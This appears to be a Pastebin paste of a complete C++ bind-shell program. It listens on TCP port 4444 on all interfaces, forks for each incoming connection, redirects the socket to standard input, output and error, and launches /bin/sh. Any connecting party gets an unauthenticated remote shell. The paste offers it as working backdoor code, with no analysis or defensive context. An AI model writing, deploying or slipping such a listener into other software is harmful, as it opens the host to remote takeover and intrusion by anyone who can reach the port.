Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <iostream>
- #include <unistd.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <cstring>
- #include <cstdlib>
- #include <cerrno>
- using namespace std;
- void handleConnection(int clientSocket) {
- if (dup2(clientSocket, 0) == -1 || dup2(clientSocket, 1) == -1 || dup2(clientSocket, 2) == -1) {
- cerr << "Error duplicating file descriptors: " << strerror(errno) << endl;
- close(clientSocket);
- exit(1);
- }
- execl("/bin/sh", "sh", NULL);
- close(clientSocket);
- }
- int main() {
- int serverSocket = socket(AF_INET, SOCK_STREAM, 0);
- if (serverSocket == -1) {
- cerr << "Error creating socket: " << strerror(errno) << endl;
- return 1;
- }
- struct sockaddr_in serverAddr;
- serverAddr.sin_family = AF_INET;
- serverAddr.sin_addr.s_addr = INADDR_ANY;
- serverAddr.sin_port = htons(4444); // Port to listen on
- if (bind(serverSocket, (struct sockaddr*)&serverAddr, sizeof(serverAddr)) == -1) {
- cerr << "Error binding socket: " << strerror(errno) << endl;
- close(serverSocket);
- return 1;
- }
- if (listen(serverSocket, 5) == -1) {
- cerr << "Error listening for connections: " << strerror(errno) << endl;
- close(serverSocket);
- return 1;
- }
- cout << "Waiting for incoming connections..." << endl;
- while (true) {
- struct sockaddr_in clientAddr;
- socklen_t clientAddrSize = sizeof(clientAddr);
- int clientSocket = accept(serverSocket, (struct sockaddr*)&clientAddr, &clientAddrSize);
- if (clientSocket == -1) {
- cerr << "Error accepting connection: " << strerror(errno) << endl;
- continue;
- }
- cout << "Connection accepted from " << inet_ntoa(clientAddr.sin_addr) << endl;
- if (fork() == 0) {
- close(serverSocket);
- handleConnection(clientSocket);
- exit(0);
- }
- close(clientSocket);
- }
- close(serverSocket);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment